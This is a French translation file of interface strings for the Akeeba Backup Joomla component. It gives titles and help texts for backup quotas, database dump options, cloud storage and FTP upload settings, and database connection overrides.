COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_TITLE="Activer les quotas d'âge maximum de sauvegarde"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION="Les sauvegardes effectuées ce jour du mois ne seront pas supprimées. Conservez le paramètre par défaut, 1, pour toujours conserver les sauvegardes effectuées le 1er jour du mois."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE="Ne pas supprimer les sauvegardes effectuées ce jour du mois"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION="Les sauvegardes plus anciennes que ce nombre de jours seront automatiquement supprimées. Conservez le paramètre par défaut, 31, pour conserver toutes les sauvegardes du dernier mois."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE="Âge maximum de sauvegarde, en jours"
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_DESCRIPTION="Chaque étape d'Akeeba Backup durera <em>au plus</em> aussi longtemps que défini ici. Utilisez une valeur inférieure au temps d'exécution maximum de PHP. En général, régler cette valeur à 10 secondes est suffisant, sauf sur les hébergeurs très restrictifs.<strong>Conseil</strong> : Sélectionnez Personnalisé et saisissez la valeur souhaitée si elle ne figure pas dans la liste."
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_TITLE="Temps d'exécution maximum"
COM_AKEEBABACKUP_CONFIG_MAXPACKET_DESCRIPTION="La taille maximale, en octets, de chaque instruction INSERT étendue. Il est recommandé de la garder suffisamment basse pour que MySQL ne génère pas d'erreur lors de la restauration de votre vidage de base de données."
COM_AKEEBABACKUP_CONFIG_MAXPACKET_TITLE="Taille maximale des paquets pour les INSERT étendus"
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_DESCRIPTION="Chaque étape d'Akeeba Backup durera <em>au moins</em> aussi longtemps que défini ici. Ceci est nécessaire pour contourner les solutions de sécurité anti-DoS. Si vous obtenez des erreurs 403 Interdit ou des erreurs AJAX, veuillez augmenter ce paramètre. Le régler à 0 désactive cette fonctionnalité.<br/><br/><strong>Conseil</strong> : Sélectionnez Personnalisé et saisissez la valeur souhaitée si elle ne figure pas dans la liste."
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_TITLE="Temps d'exécution minimum"
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION="Lorsque cette option est activée, Akeeba Backup tentera de vider ces entités avancées de base de données MySQL 5. Si votre sauvegarde se bloque lors de l'étape de sauvegarde, vous devrez peut-être désactiver cette option."
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_TITLE="Vider les PROCEDUREs, les FUNCTIONs et les TRIGGERs"
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TIP="Supprime USING BTREE et USING HASH des définitions d'index de table dans les fichiers de vidage. Cela est nécessaire pour la restauration sur des serveurs où l'un ou l'autre des moteurs d'indexation est désactivé (par exemple sur les dernières versions de XAMPP). AVERTISSEMENT ! CELA PEUT CAUSER DES PROBLÈMES DE RESTAURATION SUR CERTAINS SERVEURS."
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TITLE="Ignorer le moteur d'index"
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_DESCRIPTION="Lorsque cette option est activée, Akeeba Backup ne suivra pas les dépendances entre les tables et les vues. Utilisez cette option uniquement si vous avez des centaines de tables de base de données et que vous n'utilisez pas de VIEWs, FUNCTIONs, PROCEDUREs, TRIGGERs MySQL, ni de tables utilisant les moteurs (extrêmement rarement utilisés) TEMPORARY, MEMORY, MERGE ou FEDERATED."
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_TITLE="Pas de suivi des dépendances"
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION="Nombre total d'enregistrements obsolètes (sauvegardes dont les fichiers ont été supprimés) à conserver sur la page Gérer les sauvegardes. Définissez à 0 pour ne pas avoir de limite."
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE="Enregistrements obsolètes à conserver"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TITLE="Supprimer les fichiers journaux obsolètes"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DESCRIPTION="Supprime automatiquement les fichiers journaux des enregistrements de sauvegarde réussis. Le fichier journal du dernier enregistrement de sauvegarde participe aux calculs mais n'est jamais supprimé. Si votre profil de sauvegarde dispose d'un moteur de post-traitement autre que Aucun ou Envoyer par e-mail, seuls les enregistrements ayant le statut Sauvegarde à distance participent à ce paramètre de quota de fichiers journaux. Si votre profil de sauvegarde utilise le moteur de post-traitement Aucun ou Envoyer par e-mail, seuls les enregistrements ayant le statut OK ou Sauvegarde à distance participent à ce paramètre de quota de fichiers journaux. Cette fonctionnalité s'exécute après le quota d'enregistrements obsolètes ; le quota d'enregistrements obsolètes peut également supprimer d'anciens fichiers journaux."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_TITLE="Type de quota de fichiers journaux obsolètes"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DESCRIPTION="Choisissez la méthode utilisée pour déterminer les anciens fichiers journaux à supprimer."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_SIZE="Taille maximale"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_COUNT="Nombre"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DAYS="Âge maximum"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_TITLE="Nombre de fichiers journaux"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_DESCRIPTION="Nombre de fichiers journaux à conserver. Le fichier journal de la dernière sauvegarde effectuée peut être inclus dans le décompte, mais ne sera jamais supprimé. Seuls les fichiers journaux des enregistrements de sauvegarde réussis seront pris en compte pour la suppression."
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_TITLE="Taille des fichiers journaux (en mégaoctets)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_DESCRIPTION="La taille totale maximale des fichiers journaux à conserver. Le fichier journal de la dernière sauvegarde effectuée peut participer au calcul, mais ne sera jamais supprimé. Seuls les fichiers journaux des enregistrements de sauvegarde réussis seront pris en compte pour la suppression."
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_TITLE="Âge des fichiers journaux (en jours)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_DESCRIPTION="L'âge maximum en jours des fichiers journaux à conserver. Le fichier journal de la dernière sauvegarde effectuée ne sera jamais supprimé. Seuls les fichiers journaux des enregistrements de sauvegarde réussis seront pris en compte pour la suppression."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION="Rempli automatiquement lorsque vous terminez l'étape d'authentification 1 ci-dessus. Ne partagez PAS le même jeton sur plusieurs sites. Authentifiez plutôt chaque site séparément."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE="Jeton d'accès"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHDRIVES_TITLE="Recharger la liste des lecteurs"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_TITLE="Lecteur"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_DESCRIPTION="Choisissez le lecteur (OneDrive Personnel, OneDrive Entreprise ou SharePoint) auquel votre compte a accès et qui sera utilisé pour stocker les sauvegardes. Vous devez terminer l'authentification avant que cette liste soit remplie. Cela n'a de sens que si vous avez accès à plusieurs lecteurs OneDrive (par exemple, votre compte Microsoft fait partie de l'abonnement d'une organisation). En cas de doute, utilisez l'option « Lecteur par défaut » qui utilise votre lecteur personnel par défaut — généralement équivalent à la première option « Lecteur (OneDrive Personnel) » que vous voyez ci-dessous."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL="Lecteur (OneDrive Personnel)"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_DESCRIPTION="Le répertoire dans le lecteur Microsoft OneDrive où stocker les archives de sauvegarde. Utilisez des barres obliques directes et non des barres obliques inverses, et placez toujours une barre oblique directe au début. Correct : /some/thing. Incorrect : some\\thing. Une seule barre oblique signifie que les archives seront stockées à la racine du lecteur."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION="Rempli automatiquement lorsque vous terminez l'étape d'authentification 1 ci-dessus. Ne partagez PAS le même jeton sur plusieurs sites. Authentifiez plutôt chaque site séparément."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE="Jeton d'actualisation"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_DESCRIPTION="Dans Joomla! 3.9 et versions ultérieures, les actions des utilisateurs sont enregistrées dans la base de données, créant une table avec des millions de lignes et ralentissant votre sauvegarde. Cochez cette option pour exclure ces données."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_TITLE="Journal des actions utilisateurs Joomla!"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION="Lorsque cette option est activée, seuls les fichiers modifiés après une date et une heure spécifiques seront sauvegardés."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE="Filtre conditionnel de date"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION="Akeeba Backup sauvegardera les fichiers modifiés après cette date et cette heure. Le format est AAAA-MM-JJ hh:mm:ss. Toutes les dates et heures sont exprimées dans le fuseau horaire de votre serveur."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE="Sauvegarder les fichiers modifiés après"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_DESCRIPTION="Exclut automatiquement les fichiers journaux d'erreurs, par exemple <code>error_log</code>, où qu'ils se trouvent sur le site en cours de sauvegarde. Ces fichiers changent de taille pendant la sauvegarde, ce qui peut entraîner des sauvegardes corrompues."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_TITLE="Exclure les journaux d'erreurs"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_DESCRIPTION="Exclut le contenu non critique de la Recherche intelligente de la sauvegarde. Il est fortement recommandé de le faire pour des raisons de performances. Après avoir restauré votre site, veuillez accéder à Composants, Recherche intelligente et cliquer sur le bouton Indexer pour reconstruire ces données."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_TITLE="Ignorer les termes et les tables de taxonomie de Finder"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_DESCRIPTION="Lorsque cette option est activée, Akeeba Backup exclura automatiquement les dossiers spécifiques à l'hébergeur les plus courants pour stocker les statistiques d'accès de votre site. Ces dossiers sont en lecture seule pour l'utilisateur de votre site web, ce qui cause des problèmes de restauration s'ils sont sauvegardés."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_TITLE="Sauvegarder uniquement les tables installées par Joomla! et ses extensions"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_DESCRIPTION="L'activation de ce filtre ignorera la sauvegarde de toute table de la base de données qui n'a pas été installée par Joomla! lui-même, ou par l'une de ses extensions. Les informations sur les tables installées sont fournies par les fichiers SQL inclus avec Joomla! et ses extensions. Ce filtre est utile lorsque vous avez de nombreuses tables inutiles ou copiées (pensez à <code>#__users_oldcopy_20250910</code>) et que vous ne voulez pas ou ne savez pas comment les éliminer une par une. Testez toujours la restauration de la sauvegarde sur un serveur de développement/staging lorsque vous utilisez ce filtre, afin de vous assurer que votre configuration n'a pas accidentellement omis des tables que vous souhaitiez utiliser."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_TITLE="Limiter le filtrage aux tables avec le préfixe Joomla"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_DESCRIPTION="L'activation de cette option limitera le filtre « Sauvegarder uniquement les tables installées par Joomla! et ses extensions » aux tables dont le nom commence par le préfixe du nom de table de la base de données Joomla!. Cela est utile si vous avez des scripts tiers s'exécutant en dehors de Joomla qui installent leurs tables sans préfixe de table, ou avec un préfixe de table différent, et que vous souhaitez les inclure dans votre sauvegarde."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_TITLE="Autoriser explicitement ces tables"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_DESCRIPTION="Entrez une liste de tables de base de données séparées par des virgules à inclure dans la sauvegarde même si elles seraient autrement exclues par le filtre « Sauvegarder uniquement les tables installées par Joomla! et ses extensions ». Cela est utile pour inclure les tables des extensions qui installent leurs tables en utilisant une méthode autre que la gestion de schéma de base de données intégrée à Joomla. Conseil : si vous voyez une table que vous souhaitez inclure dans la sauvegarde avec une icône rouge sur la page Exclure les tables de base de données, ajoutez-la à cette liste."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_TITLE="Exclure les dossiers de statistiques spécifiques à l'hébergeur"
COM_AKEEBABACKUP_CONFIG_OUTDIR_DESCRIPTION="Il s'agit du répertoire sur votre serveur où Akeeba Backup stockera les archives de sauvegarde et le fichier journal de sauvegarde. Vous pouvez utiliser les macros suivantes :<ul><li><strong>[DEFAULT_OUTPUT]</strong> Le répertoire de sortie par défaut</li><li><strong>[SITEROOT]</strong> Le répertoire racine de votre site</li><li><strong>[ROOTPARENT]</strong> Le répertoire situé un niveau au-dessus de la racine de votre site</li></ul>"
COM_AKEEBABACKUP_CONFIG_OUTDIR_TITLE="Répertoire de sortie"
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_DESCRIPTION="CE N'EST PAS LE NOM DU CONTENEUR DE STOCKAGE ! Accédez à votre gestionnaire cloud OVH, Serveurs, développez votre serveur, cliquez sur Stockage. Vous verrez l'URL du conteneur indiquée au-dessus de la liste de vos fichiers. Copiez-la ici."
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_TITLE="URL du conteneur"
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_DESCRIPTION="Le répertoire dans le conteneur de stockage d'objets OVH où stocker les archives de sauvegarde. Pour tout stocker à la racine du conteneur, laissez ce champ vide."
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_DESCRIPTION="CE N'EST PAS VOTRE MOT DE PASSE DE CONNEXION OVH ! Créez un utilisateur depuis votre gestionnaire cloud OVH, Serveurs, développez votre serveur, cliquez sur OpenStack, puis sur Ajouter un utilisateur. Copiez le mot de passe de l'utilisateur créé ici."
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_TITLE="Mot de passe OpenStack"
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_DESCRIPTION="L'identifiant de projet de votre serveur cloud OVH. Dans le gestionnaire cloud d'OVH, développez votre serveur et cliquez sur le lien Stockage. Dans la zone principale de la page, vous voyez le nom du serveur, et juste en dessous une chaîne alphanumérique de 32 caractères telle que a0b1c2d3e4f56789abcdef0123456789. Il s'agit de l'identifiant de projet à saisir ici."
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_TITLE="Identifiant de projet"
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_DESCRIPTION="CE N'EST PAS VOTRE NOM D'UTILISATEUR DE CONNEXION OVH ! Créez un utilisateur depuis votre gestionnaire cloud OVH, Serveurs, développez votre serveur, cliquez sur OpenStack, puis sur Ajouter un utilisateur. Copiez l'identifiant de l'utilisateur créé ici."
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_TITLE="Nom d'utilisateur OpenStack"
COM_AKEEBABACKUP_CONFIG_PARTSIZE_DESCRIPTION="Akeeba Backup peut créer des archives fractionnées (en plusieurs parties) afin de contourner les restrictions de taille dans diverses circonstances. Cette option définit la taille maximale de chaque partie de l'archive. Si vous la réduisez à 0, la fonctionnalité multi-parties est désactivée.</br><strong>Important :</strong>Si vous utilisez un moteur de traitement de données qui transfère les archives vers un emplacement distant (par exemple, un stockage en nuage), utilisez un paramètre d'environ 1 à 5 Mo pour des résultats optimaux."
COM_AKEEBABACKUP_CONFIG_PARTSIZE_TITLE="Taille des parties pour les archives fractionnées"
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_DESCRIPTION="<strong>AVERTISSEMENT ! L'AUTHENTIFICATION NE FONCTIONNE PAS EN RAISON DE PROBLÈMES SUR LE SERVEUR API DE pCloud. CE MOTEUR DE POST-TRAITEMENT SERA SUPPRIMÉ DANS UNE FUTURE VERSION D'AKEEBA BACKUP.</strong>. Rempli automatiquement lorsque vous terminez l'étape d'authentification 1 ci-dessus. Si vous liez un autre site au même compte pCloud, vous devez copier le jeton d'accès depuis votre site déjà configuré et ne pas essayer de réexécuter l'étape 1 d'authentification."
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_TITLE="Jeton d'accès"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_DESCRIPTION="Le nom du répertoire sur pCloud où l'archive de sauvegarde sera stockée. <strong>Le répertoire DOIT déjà exister, sinon le téléversement échouera.</strong>"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0600="0600 – Sécurité stricte, peut poser des problèmes sur les serveurs bas de gamme"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0644="0644 – Sécurité moyenne, pour une utilisation sur des serveurs à site unique"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0666="0666 – Sécurité souple, compatibilité maximale avec les hébergeurs commerciaux"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_DESCRIPTION="Définissez les permissions de fichier pour les fichiers d'archive de sauvegarde. S'applique uniquement sur Linux, macOS, BSD et autres hôtes de type UNIX (PAS Windows). En cas de doute, laissez la valeur 0666. La modifier peut rendre impossible le téléchargement et/ou la suppression des fichiers d'archive de sauvegarde via FTP et SFTP. Si votre serveur utilise PHP-FPM ou exécute PHP sous le même utilisateur que le compte système de votre site, utilisez 0600 pour une sécurité optimale."
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_TITLE="Permissions de l'archive"
COM_AKEEBABACKUP_CONFIG_PLATFORM="Substitutions du site"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_DESCRIPTION="Le nom de la base de données à sauvegarder. Utilisé uniquement lorsque la case de substitution de la base de données du site est cochée."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_TITLE="Nom de la base de données"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_DESCRIPTION="Sélectionnez le pilote de base de données à utiliser lors de la connexion à la base de données du site. Utilisé uniquement lorsque la case de substitution de la base de données du site est cochée."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_TITLE="Pilote de base de données"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_DESCRIPTION="Le nom d'hôte ou l'adresse IP du serveur de base de données. Généralement localhost ou 127.0.0.1. Utilisé uniquement lorsque la case de substitution de la base de données du site est cochée."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_TITLE="Nom d'hôte du serveur de base de données"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_DESCRIPTION="Le mot de passe pour se connecter à la base de données du site. Utilisé uniquement lorsque la case de substitution de la base de données du site est cochée."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_TITLE="Mot de passe"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_DESCRIPTION="(facultatif) Le port sur lequel écoute le serveur de base de données. En cas de doute, laissez cette option vide pour utiliser le port par défaut (3306 pour les serveurs MySQL). Utilisé uniquement lorsque la case de substitution de la base de données du site est cochée."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_TITLE="Port du serveur de base de données"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_DESCRIPTION="Le préfixe de la base de données à sauvegarder, incluant le trait de soulignement, par exemple <code>ex4m_</code>. Utilisé uniquement lorsque la case de substitution de la base de données du site est cochée."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_TITLE="Préfixe"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_TITLE="Se connecter avec un certificat SSL"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_DESCRIPTION="Doit-on se connecter à la base de données à l'aide d'un certificat SSL ? Cela peut être utilisé à la place de l'authentification par nom d'utilisateur et mot de passe (connexion chiffrée avec authentification par certificat) ou <em>en plus de</em> l'authentification par nom d'utilisateur et mot de passe (connexion chiffrée avec authentification par mot de passe). Si vous ne savez pas ce que cela signifie, définissez cette option sur Non et ignorez également les quelques options suivantes."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_TITLE="Méthodes de chiffrement SSL/TLS"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_DESCRIPTION="Entrez une liste de méthodes de chiffrement pour la connexion avec des certificats SSL, séparées par des deux-points. Si ce champ est laissé vide, la liste par défaut (<code>AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-CBC-SHA256:AES256-CBC-SHA384:DES-CBC3-SHA</code>) sera utilisée (recommandé)."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_TITLE="Fichier de l'autorité de certification (CA)"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_DESCRIPTION="Chemin absolu vers le fichier PEM du certificat de l'autorité de certification (CA) de votre serveur de base de données, par exemple <code>/home/myuser/ca.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_TITLE="Fichier de clé privée de l'utilisateur de la base de données"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_DESCRIPTION="Chemin absolu vers le fichier PEM de clé privée de votre utilisateur de base de données, par exemple <code>/home/myuser/myuser-key.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_TITLE="Fichier de clé publique (certificat) de l'utilisateur de la base de données"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_DESCRIPTION="Chemin absolu vers le fichier PEM de clé publique (certificat) de votre utilisateur de base de données, par exemple <code>/home/myuser/myuser.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_TITLE="Vérifier le certificat du serveur"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_DESCRIPTION="Définissez sur Oui pour vérifier le certificat que le serveur nous renvoie. Celui-ci est vérifié par rapport au fichier de l'autorité de certification (CA) que vous avez spécifié. Si vous obtenez des erreurs de connexion, définissez sur Non ; certaines configurations (notamment celles générées par <code>mysql_ssl_rsa_setup</code>) peuvent refuser une connexion si la vérification du certificat est activée. Si vous activez la vérification et que le champ du fichier CA est laissé vide, le certificat du serveur sera vérifié par rapport aux fichiers d'autorité de certification que votre serveur connaît, voir les options PHP <code>openssl.cafile</code> et <code>openssl.capath</code>."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_DESCRIPTION="Le nom d'utilisateur pour se connecter à la base de données du site. Utilisé uniquement lorsque la case de substitution de la base de données du site est cochée."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_TITLE="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_DESCRIPTION="Lorsque vous avez activé l'option de substitution de la racine du site ci-dessus, Akeeba Backup sauvegardera tous les fichiers et répertoires sous la racine de ce site."
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_TITLE="Forcer la racine du site"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_DESCRIPTION="Lorsque cette option est décochée (par défaut), Akeeba Backup sauvegardera automatiquement la base de données à laquelle le site sur lequel il est installé se connecte (votre base de données Joomla!). Lorsqu'elle est cochée, il sauvegardera une base de données différente, en utilisant les informations de connexion que vous fournissez ci-dessous."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_TITLE="Substitution de la base de données du site"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_DESCRIPTION="Lorsque cette option est décochée (par défaut), Akeeba Backup sauvegardera tous les fichiers et répertoires sous la racine du site sur lequel il est installé. Lorsqu'elle est activée, il sauvegardera les fichiers et répertoires sous le répertoire sélectionné dans Forcer la racine du site ci-dessous."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_TITLE="Substitution de la racine du site"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_DESCRIPTION="Si cette option est activée, Akeeba Backup tentera de se connecter à votre serveur FTP en utilisant une connexion chiffrée SSL. <strong>Ce n'est pas la même chose que SFTP, SCP ou le « Secure FTP » !</strong> Notez que si votre serveur ne prend pas en charge cette méthode, vous obtiendrez des erreurs de connexion."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_TITLE="Utiliser FTP sur SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_DESCRIPTION="Le nom d'hôte du serveur FTP, sans le protocole. Cela signifie que <code>ftp://example.com</code> est <strong>invalide</strong> et que <code>example.com</code> est valide. Ce moteur ne prend en charge que les serveurs FTP et FTPS. Il <u>ne prend pas</u> en charge SFTP, SCP et autres variantes SSH."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_TITLE="Nom d'hôte"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION="Le chemin <strong>FTP</strong> absolu vers le répertoire où les fichiers seront téléversés. En cas de doute, connectez-vous à votre serveur avec FileZilla, naviguez jusqu'au répertoire souhaité et copiez le chemin affiché dans le volet droit au-dessus de la liste des répertoires. Il s'agit généralement de quelque chose de court, comme <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_TITLE="Répertoire initial"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_DESCRIPTION="Le chemin relatif par rapport au répertoire initial ; il sera créé s'il n'existe pas. Laissez vide pour téléverser les archives directement dans le répertoire initial. Vous pouvez utiliser les macros suivantes :<ul><li><strong>[HOST]</strong> Le nom d'hôte. AVERTISSEMENT ! Cette balise ne fonctionne pas en mode CRON.</li><li><strong>[DATE]</strong> La date actuelle</li><li><strong>[TIME]</strong> L'heure actuelle</li></ul>D'autres macros sont disponibles ; veuillez consulter la documentation."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_TITLE="Sous-répertoire"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION="Utilisez le mode passif FTP lors du transfert de données. Cette option est activée par défaut car c'est la seule méthode qui fonctionne à travers les pare-feu couramment installés sur les serveurs web. Ne la désactivez pas sauf si vous êtes certain que votre serveur web n'est pas derrière un pare-feu et que votre serveur FTP requiert absolument des transferts de fichiers en mode Actif."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_TITLE="Utiliser le mode passif"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION="Le mot de passe du serveur FTP. Il est généralement sensible à la casse. En cas de doute, veuillez contacter votre administrateur réseau."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_TITLE="Mot de passe"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_DESCRIPTION="Le port du serveur FTP. Le paramètre le plus courant est 21. En cas de doute, veuillez contacter votre administrateur réseau."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_DESCRIPTION="Utilisez ce bouton pour tester la connexion FTP et afficher les erreurs de connexion en cas d'échec."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_TITLE="Tester la connexion FTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_DESCRIPTION="Le nom d'utilisateur du serveur FTP. Il est généralement sensible à la casse. En cas de doute, veuillez contacter votre administrateur réseau."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_TITLE="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_DESCRIPTION="Lorsque cette option est activée, Akeeba Backup exécutera le moteur de post-traitement sur chaque partie dès qu'elle est terminée. Lorsqu'elle est désactivée, Akeeba Backup effectuera le post-traitement de toutes les parties à la fin du processus de sauvegarde."
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_TITLE="Traiter chaque partie immédiatement"
